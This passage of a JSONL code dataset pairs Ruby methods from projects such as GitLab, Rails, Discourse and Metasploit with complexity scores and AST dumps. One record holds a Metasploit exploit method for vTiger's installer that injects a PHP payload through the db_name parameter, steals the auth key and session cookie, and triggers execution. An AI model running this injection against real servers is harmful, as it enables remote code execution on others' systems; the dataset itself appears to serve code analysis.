end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"percent_q_literal?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"literal_in_interpolated_or_multiline_string?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"percent_q_literal?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"%q\"]}]}]}]}","id":"c6f6a72c-de81-422d-87b6-8279382ea6a1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/parsers/accessibility/pa11y.rb","start_line":20,"raw_source":"def parse_all(root, accessibility_report)\n            return unless root.present?\n\n            root[\"results\"].each do |url, value|\n              accessibility_report.add_url(url, value)\n            end\n\n            accessibility_report\n          end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_all\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root\"]},{\"type\":\"arg\",\"children\":[\"accessibility_report\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"root\"]},\"[]\",{\"type\":\"str\",\"children\":[\"results\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"accessibility_report\"]},\"add_url\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"lvar\",\"children\":[\"accessibility_report\"]}]}]}","id":"d9d40afc-51fb-4af1-b9ca-c230ced49b31"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20251008104713_requeue_backfill_security_inventory_filters.rb","start_line":13,"raw_source":"def up\n    delete_batched_background_migration(MIGRATION, :vulnerability_statistics, :project_id, [])\n\n    queue_batched_background_migration(\n      MIGRATION,\n      :vulnerability_statistics,\n      :project_id,\n      job_interval: DELAY_INTERVAL,\n      batch_size: BATCH_SIZE,\n      sub_batch_size: SUB_BATCH_SIZE\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_statistics\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"queue_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"vulnerability_statistics\"]},{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_interval\"]},{\"type\":\"const\",\"children\":[null,\"DELAY_INTERVAL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sub_batch_size\"]},{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]}]}]}]}]}","id":"0ea8c66a-c3df-49d4-a030-b213e70def74"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/custom_field_injector.rb","start_line":431,"raw_source":"def create_class(represented, current_user)\n            custom_fields = if current_user.admin?\n                              represented.available_custom_fields\n                            else\n                              represented.available_custom_fields.reject(&:admin_only?)\n                            end\n\n            custom_field_class(custom_fields)\n          end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"represented\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"custom_fields\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"admin?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"represented\"]},\"available_custom_fields\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"represented\"]},\"available_custom_fields\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin_only?\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"custom_field_class\",{\"type\":\"lvar\",\"children\":[\"custom_fields\"]}]}]}]}","id":"485054ce-ea58-45b5-97e2-c040d8d21ac0"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/wizard_field_serializer.rb","start_line":33,"raw_source":"def include_value?\n    object.value.present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"include_value?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"value\"]},\"present?\"]}]}","id":"9da6da0c-7eae-46bf-b7d1-8ecf76ca288f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/vtiger_install_rce.rb","start_line":61,"raw_source":"def exploit\n    print_status(\"Injecting payload...\")\n    rand_arg = Rex::Text.rand_text_hex(10)\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'index.php'),\n      'headers' => { 'X-Requested-With' => rand_text_alpha(5) },\n      'vars_get' => {\n        'module' => 'Install',\n        'view' => 'Index',\n        'mode' => 'Step5',\n        'db_name' => \"127.0.0.1'; if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } // \"\n      }\n    })\n\n    # Check timeout\n    if not res\n      print_error(\"Request timed out, please try again\")\n      return\n    end\n\n    if res.body =~ /name=\"auth_key\"\\s+value=\".*?((?:[a-z0-9]*))\"/i\n      authkey = $1\n      phpsessid = res.get_cookies\n\n      if authkey.blank?\n        print_error(\"No AuthKey found\")\n        return\n      elsif phpsessid.blank?\n        print_error(\"No PHP Session ID found\")\n        return\n      end\n\n      print_status(\"Retrieved Authkey : #{authkey}\")\n      print_status(\"Retrieved PHPSESSID : #{phpsessid}\")\n\n      send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'index.php'),\n        'headers' => { 'X-Requested-With' => rand_text_alpha(5) },\n        'cookie' => phpsessid,\n        'vars_get' =>\n            {\n              'module' => 'Install',\n              'view' => 'Index',\n              'mode' => 'Step7',\n              'auth_key' => authkey\n            }\n      })\n\n      print_status(\"Executing payload...\")\n      send_request_cgi({\n        'method' => 'GET',\n        'uri' => normalize_uri(target_uri.path, 'config.inc.php'),\n        'vars_get' => { rand_arg => '1' }\n      })\n    else\n      print_error(\"No auth_key pattern found\")\n    end\n  end","complexity_score":48.85,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Injecting payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rand_arg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_hex\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"Install\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"view\"]},{\"type\":\"str\",\"children\":[\"Index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"Step5\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"db_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"127.0.0.1'; if(isset($_GET['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_arg\"]}]},{\"type\":\"str\",\"children\":[\"'])){ \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" } // \"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Request timed out, please try again\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"name=\\\"auth_key\\\"\\\\s+value=\\\".*?((?:[a-z0-9]*))\\\"\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authkey\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"phpsessid\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authkey\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No AuthKey found\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phpsessid\"]},\"blank?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No PHP Session ID found\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieved Authkey : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authkey\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Retrieved PHPSESSID : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"phpsessid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"phpsessid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"module\"]},{\"type\":\"str\",\"children\":[\"Install\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"view\"]},{\"type\":\"str\",\"children\":[\"Index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"Step7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"auth_key\"]},{\"type\":\"lvar\",\"children\":[\"authkey\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"config.inc.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand_arg\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No auth_key pattern found\"]}]}]}]}]}","id":"bfce008f-e4cd-4280-a673-c020bd419d02"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ms14_060_sandworm.rb","start_line":122,"raw_source":"def validate_unc_path\n    if datastore['UNCPATH'] =~ /^\\\\{2}[[:print:]]+\\\\[[:print:]]+\\\\*$/\n      unc = datastore['UNCPATH']\n    else\n      unc = nil\n    end\n\n    unc\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_unc_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNCPATH\"]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\\\\\{2}[[:print:]]+\\\\\\\\[[:print:]]+\\\\\\\\*$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unc\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"UNCPATH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"unc\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"unc\"]}]}]}","id":"a0776cfa-88e7-4982-8e64-ac5c6032b072"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/spec/itunes_transporter_spec.rb","start_line":236,"raw_source":"def java_upload_command_9(provider_short_name: nil, transporter: nil, jwt: nil, use_asset_path: false)\n      upload_part = use_asset_path ? \"-assetFile /tmp/#{random_uuid}.ipa\" : \"-f /tmp/my.app.id.itmsp\"\n\n      [\n        FastlaneCore::Helper.transporter_java_executable_path.shellescape,\n        \"-Djava.ext.dirs=#{FastlaneCore::Helper.transporter_java_ext_dir.shellescape}\",\n        '-XX:NewSize=2m',\n        '-Xms32m',\n        '-Xmx1024m',\n        '-Xms1024m',\n        '-Djava.awt.headless=true',\n        '-Dsun.net.http.retryPost=false',\n        \"-jar #{FastlaneCore::Helper.transporter_java_jar_path.shellescape}\",\n        \"-m upload\",\n        (\"-u #{email.shellescape} -p #{password.shellescape}\" if jwt.nil?),\n        (\"-jwt #{jwt}\" unless jwt.nil?),\n        upload_part,\n        (transporter.to_s if transporter),\n        \"-k 100000\",\n        (\"-itc_provider #{provider_short_name}\" if provider_short_name),\n        '2>&1'\n      ].compact.join(' ')\n    end","complexity_score":30.6,"ast_json":"{\"type\":\"def\",\"children\":[\"java_upload_command_9\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"provider_short_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"transporter\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"jwt\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"use_asset_path\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_part\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_asset_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-assetFile /tmp/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"random_uuid\"]}]},{\"type\":\"str\",\"children\":[\".ipa\"]}]},{\"type\":\"str\",\"children\":[\"-f /tmp/my.app.id.itmsp\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"transporter_java_executable_path\"]},\"shellescape\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-Djava.ext.dirs=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"transporter_java_ext_dir\"]},\"shellescape\"]}]}]},{\"type\":\"str\",\"children\":[\"-XX:NewSize=2m\"]},{\"type\":\"str\",\"children\":[\"-Xms32m\"]},{\"type\":\"str\",\"children\":[\"-Xmx1024m\"]},{\"type\":\"str\",\"children\":[\"-Xms1024m\"]},{\"type\":\"str\",\"children\":[\"-Djava.awt.headless=true\"]},{\"type\":\"str\",\"children\":[\"-Dsun.net.http.retryPost=false\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-jar \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"transporter_java_jar_path\"]},\"shellescape\"]}]}]},{\"type\":\"str\",\"children\":[\"-m upload\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-u \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email\"]},\"shellescape\"]}]},{\"type\":\"str\",\"children\":[\" -p \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"password\"]},\"shellescape\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]},\"nil?\"]},null,{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-jwt \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jwt\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"upload_part\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transporter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transporter\"]},\"to_s\"]},null]}]},{\"type\":\"str\",\"children\":[\"-k 100000\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-itc_provider \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_short_name\"]}]}]},null]}]},{\"type\":\"str\",\"children\":[\"2>&1\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"ff53e5a2-91c3-4a49-8e79-94667352f3ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/serializers/profile/event_entity.rb","start_line":112,"raw_source":"def ref_path(event)\n      project = event.project\n      commits_link = project_commits_path(project, event.ref_name)\n      should_link = if event.tag?\n                      project.repository.tag_exists?(event.ref_name)\n                    else\n                      project.repository.branch_exists?(event.ref_name)\n                    end\n\n      should_link ? commits_link : nil\n    end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ref_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"commits_link\",{\"type\":\"send\",\"children\":[null,\"project_commits_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"ref_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"should_link\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"tag?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"tag_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"ref_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"branch_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"ref_name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_link\"]},{\"type\":\"lvar\",\"children\":[\"commits_link\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"610781d3-9ed4-43b4-b638-c370cd5d73a0"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/javascript_helper_test.rb","start_line":26,"raw_source":"def test_escape_javascript\n    assert_equal \"\", escape_javascript(nil)\n    assert_equal \"123\", escape_javascript(123)\n    assert_equal \"en\", escape_javascript(:en)\n    assert_equal \"false\", escape_javascript(false)\n    assert_equal \"true\", escape_javascript(true)\n    assert_equal %(This \\\\\"thing\\\\\" is really\\\\n netos\\\\'), escape_javascript(%(This \"thing\" is really\\n netos'))\n    assert_equal %(backslash\\\\\\\\test), escape_javascript(%(backslash\\\\test))\n    assert_equal %(don\\\\'t <\\\\/close> tags), escape_javascript(%(don't </close> tags))\n    assert_equal %(unicode &#x2028; newline), escape_javascript((+%(unicode \\342\\200\\250 newline)).force_encoding(Encoding::UTF_8).encode!)\n    assert_equal %(unicode &#x2029; newline), escape_javascript((+%(unicode \\342\\200\\251 newline)).force_encoding(Encoding::UTF_8).encode!)\n\n    assert_equal %(don\\\\'t <\\\\/close> tags), j(%(don't </close> tags))\n  end","complexity_score":34.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_escape_javascript\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"int\",\"children\":[123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"en\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"sym\",\"children\":[\"en\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"false\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"This \\\\\\\"thing\\\\\\\" is really\\\\n netos\\\\'\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"str\",\"children\":[\"This \\\"thing\\\" is really\\n netos'\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"backslash\\\\\\\\test\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"str\",\"children\":[\"backslash\\\\test\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"don\\\\'t <\\\\/close> tags\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"str\",\"children\":[\"don't </close> tags\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"unicode &#x2028; newline\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"unicode   newline\"]},\"+@\"]}]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]},\"encode!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"unicode &#x2029; newline\"]},{\"type\":\"send\",\"children\":[null,\"escape_javascript\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"unicode   newline\"]},\"+@\"]}]},\"force_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"UTF_8\"]}]},\"encode!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"don\\\\'t <\\\\/close> tags\"]},{\"type\":\"send\",\"children\":[null,\"j\",{\"type\":\"str\",\"children\":[\"don't </close> tags\"]}]}]}]}]}","id":"379d9149-2477-4b27-b961-426935dd59ed"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/promotion_handler/coupon.rb","start_line":117,"raw_source":"def successful?\n        success.present? && error.blank?\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"successful?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\"]},\"blank?\"]}]}]}","id":"984c02af-938d-438f-8d0a-ec5622d7f472"}
